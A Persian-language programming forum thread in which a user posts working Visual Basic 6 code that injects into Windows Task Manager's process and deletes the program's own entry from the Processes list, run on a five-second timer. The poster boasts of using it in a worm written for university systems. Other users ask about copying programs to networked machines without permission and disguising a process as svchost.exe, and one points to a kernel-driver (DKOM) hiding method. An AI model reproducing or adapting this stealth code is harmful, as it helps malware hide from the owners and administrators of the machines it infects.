نمایش نتایج 1 تا 15 از 15

نام تاپیک: مخفی کردن اسم پردازش از لیست PROCESSES

  1. #1
    کاربر دائمی آواتار DoctorJay
    تاریخ عضویت
    مرداد 1386
    محل زندگی
    پارس - شیراز
    پست
    348

    Thumbs up مخفی کردن اسم پردازش از لیست PROCESSES

    سلام .
    فکر کنم این کدا خیلی بدردتون بخوره, خودم که پیداش کردم جدا کف کردم
    امیدوارم

    در راه خیر ازش استفاده کنید , درست مثل من .....

    --------------------------------------------------------
    تو قسمت General

    Private Type bkh
    flag As Long
    psz As Long
    lParam As Long
    pt As Long
    vkDirection As Long
    End Type
    Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
    Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
    Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
    Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
    Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long


    --------------------------------------------------------------------------

    تو General نباشه :

    Private Sub Hide_Process(Name As String)
    Dim pName As Long
    Dim pType As Long
    Dim l As Long
    Dim Tid As Long
    Dim hTid As Long
    Dim pid As Long
    Dim h As Long
    Dim i As Long
    Dim hProcess As Long
    Dim f As bkh
    Dim s As String
    Dim bkh() As Byte
    h = FindWindow(vbNullString, "Windows Task Manager")
    KillTimer h, 0
    h = FindWindowEx(h, 0, "#32770", vbNullString)
    h = FindWindowEx(h, 0, "SysListView32", vbNullString)
    If h = 0 Then Exit Sub
    f.flag = 8 Or &H20
    Call GetWindowThreadProcessId(h, pid)
    hProcess = OpenProcess(1082, 0, pid)
    bkh = StrConv(Name, vbFromUnicode)
    pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
    WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
    f.psz = pName
    pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
    WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
    i = SendMessage(h, &H1000 + 13, 0, pType)
    If i <> -1 Then SendMessage h, &H1000 + 8, i, 0
    VirtualFreeEx hProcess, pType, Len(f), &H8000
    VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
    End Sub


    --------------------------------------------------------------------------

    حالا یه تایمر 5 ثانیه بذارید و ...

    Hide_Process CStr(App.EXEName & ".exe")

    --------------------------------------------------------------------------

    کرمهای جدید این تکنولوژی رو دارن ... این کدا داغ داغ , خودمم یه کرم خفن واسه سیستمهای دانشگاه نوشتم که این کدا توش بکار رفته , جدا مفید ..........
    آخرین ویرایش به وسیله DoctorJay : جمعه 16 آذر 1386 در 02:24 صبح دلیل: ناخوانایی

  2. #2
    کاربر دائمی آواتار bobrus
    تاریخ عضویت
    مهر 1386
    محل زندگی
    Hash Table
    پست
    436
    کار جالبی بود حال کردم
    راهی بلدی که بشه برنامه رو توی کامپیوتری که تو شبکه است و permission نداری کپی کنیم
    البته شاید اینجا نباید می پرسیدم ولی جای دیگه ای هم سراغ نداشتم
    آخرین ویرایش به وسیله bobrus : پنج شنبه 08 آذر 1386 در 10:59 صبح دلیل: فراموشي قسمي از متن

  3. #3
    کاربر دائمی آواتار DoctorJay
    تاریخ عضویت
    مرداد 1386
    محل زندگی
    پارس - شیراز
    پست
    348
    خوشحالم که بدردتون خورد ...

    راستش من خودم خیلی طالبم که بزنم تو کار شبکه و اینجور راه نفوذا

    منتها وقتشو به اونصورت ندارم یه خورده هم تنبلم !!

    درین زمینه Im Sorry کمکی از دستم بر نمیاد

  4. #4
    کاربر دائمی آواتار sabair
    تاریخ عضویت
    آذر 1385
    محل زندگی
    Iran
    پست
    232
    لطفا کامل تر توضیح دهید
    با تشکر
    مثال

  5. #5
    کاربر دائمی آواتار DoctorJay
    تاریخ عضویت
    مرداد 1386
    محل زندگی
    پارس - شیراز
    پست
    348
    کدها و کارش واضح . توضیح درباره ی چی می خوای ؟؟

  6. #6
    کاربر دائمی آواتار DoctorJay
    تاریخ عضویت
    مرداد 1386
    محل زندگی
    پارس - شیراز
    پست
    348
    M8SPY_OK درست میگه . دلیل نمیشه اون چیزیو که آپ کرده بلد باشه

    منم یه کتاب الکترونیکی چهارصدو خوردهای صفحه ای آپ کردم , خوب اگه قرار بود همشو بلد باشم که ........ !!

    >>> آقا بستگی داره شما به این کدا چجوری نگا کنید . من شخصا کارکردش واسم مهمه, نه اینکه حالا مثلا چرا از User32.dll استفاده شده

    حالا شما بگید شما چه توضیحی می خواین تا من عرض کنم خدمتتون ...

    ____________________________________

    درد من حصار برکه نیست... درد زیستن با ماهیانی است که فکر دریا به ذهنشان خطور نکرده است

  7. #7
    محروم شده
    تاریخ عضویت
    فروردین 1387
    پست
    366
    آقا به نظر من مهم اینه که کد رو بفهمی !

    اگه واقعاً بفهمی کد چیکار می کنه چه اشکالی داره از روش کپی بگیریم و توی برنامه هامون ازش استفاده کنیم ؟؟ حالا حتماً نباید که بشینیم تایپش کنیم !

  8. #8
    کاربر دائمی آواتار DoctorJay
    تاریخ عضویت
    مرداد 1386
    محل زندگی
    پارس - شیراز
    پست
    348
    با شما موافقم , برنامه نویس خوب کسی که بتونه به نحو احسن از منبع(راهنما) استفاده کنه ...

  9. #9
    کاربر دائمی آواتار DoctorJay
    تاریخ عضویت
    مرداد 1386
    محل زندگی
    پارس - شیراز
    پست
    348
    دوستان عزیز یه سوال داشتم .

    آیا میشه اسم فایل اجرا شده بطور مثال Example01.eXe باشه , ولی توی لیست Processes با

    یه اسم دیگه مثل SVCHOST.eXe دیده بشه !!؟؟

    اگه شدنیه که راهنمایی کنید .

    البته این راه هم هست که فایل خودشو با یه اسم دیگه کپی کنه

    و اون فایل رو صدا بزنه . از این راه نمی خوام استفاده کنم !

    با تشکر

  10. #10
    محروم شده
    تاریخ عضویت
    فروردین 1387
    پست
    366
    نه دوست عزیز !

    زبانه Processes از پنجره Task Manager فقط پروسه هایی رو مشون میده در در حال حاضر در حال اجرا می باشند . پس اگه پروسه ای با اسم SVCHOST.eXe توی این پنجره مشاهده کردید مطمئن باشید که همچین فایلی با این اسم توی سیستم وجود داره و الآن در حالت اجرا می باشد .

  11. #11
    کاربر دائمی آواتار DoctorJay
    تاریخ عضویت
    مرداد 1386
    محل زندگی
    پارس - شیراز
    پست
    348
    فرمایش شما متین ,

    ولی من در واقع می خوام که فایل با اسم جعلی بار بشه توی حافظه ...

    آیا میشه ؟؟ یا بیخیالش شم ؟
    آخرین ویرایش به وسیله DoctorJay : سه شنبه 11 دی 1386 در 23:14 عصر دلیل: اصلاح

  12. #12
    نقل قول نوشته شده توسط DoctorJay مشاهده تاپیک
    آیا میشه اسم فایل اجرا شده بطور مثال Example01.eXe باشه , ولی توی لیست Processes با
    یه اسم دیگه مثل SVCHOST.eXe دیده بشه !!؟؟
    یه خورده قدیمی شد اما شاید کمک کنه؛
    امروز بصورت اتفاقی به یکی از تاپیکهای قدیمی خودم برخوردم و فکر میکنم یکی از دوستان اونجا پاسخی داده بودند که سئوال شما رو جواب بده :
    https://barnamenevis.org/showthread.php?p=62862
    پستهای شماره 7# و 8# رو نگاه کنید.
    ...مرا به خانه ام ببر، اگرچه خانه؛ خانه نیست

  13. #13
    کاربر دائمی آواتار mehdi.safavie
    تاریخ عضویت
    دی 1388
    محل زندگی
    تهران - اندیشه
    سن
    33
    پست
    219

    نقل قول: مخفی کردن اسم پردازش از لیست PROCESSES

    کسی میتونه این کد ها رو به زبان VB.NET هم بنویسه ؟
    ظاهرا تو انجمن VB.NET ها کسی نمیتونه ، گفتم شما شاید بتونید

  14. #14

    نقل قول: مخفی کردن اسم پردازش از لیست PROCESSES

    نقل قول نوشته شده توسط mehdi.safavie مشاهده تاپیک
    کسی میتونه این کد ها رو به زبان VB.NET هم بنویسه ؟
    ظاهرا تو انجمن VB.NET ها کسی نمیتونه ، گفتم شما شاید بتونید
    هرچند این تاپیک قیدمیه ولی خب جای بحث داره هنوز !

    این کدها بدون شک مزخرف ترین روش رو پیاده سازی کردن ! برای کار اصولی شما باید از Driver ها استفاده کنی که کلاً با NET. جماعت نمیشه چنین کاری کرد توی لینک زیر یه نمونه هست که باید ازش استفاده کنی !
    Using IOCTL codes

    نمونه ای که گفتم بیشتر برای آموزش استفاده از IOCTL هستش ولی یکی از ویژگی هاش اینه :
    4) Hide running process using DKOM.

    شما میتونی اون قسمت Application رو مثلا با VB.NET یا ... پیاده سازی کنی !

    موفق باشید
    Everything that has a beginning has an end. ... The End?



  15. #15
    کاربر جدید
    تاریخ عضویت
    شهریور 1387
    محل زندگی
    اصفهان
    سن
    34
    پست
    23

    نقل قول: مخفی کردن اسم پردازش از لیست PROCESSES

    من تست کردم در ویندوز 7 این روش جواب نمیده

تاپیک های مشابه

  1. Processes در ویندوز XP
    نوشته شده توسط Ariyan در بخش برنامه نویسی در 6 VB
    پاسخ: 24
    آخرین پست: دوشنبه 07 مرداد 1387, 07:48 صبح
  2. مخفی نگه داشتن برنامه از تب processes
    نوشته شده توسط majjjj در بخش برنامه نویسی در 6 VB
    پاسخ: 1
    آخرین پست: سه شنبه 09 مرداد 1386, 10:46 صبح
  3. حذف یک Processes
    نوشته شده توسط هانی هاشمی در بخش برنامه نویسی در 6 VB
    پاسخ: 16
    آخرین پست: جمعه 26 اسفند 1384, 02:57 صبح
  4. قرار گرفتن نام برنامه فقط در بخش Processes
    نوشته شده توسط سعید قدیری مقدم در بخش برنامه نویسی در 6 VB
    پاسخ: 3
    آخرین پست: جمعه 15 اسفند 1382, 20:16 عصر

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •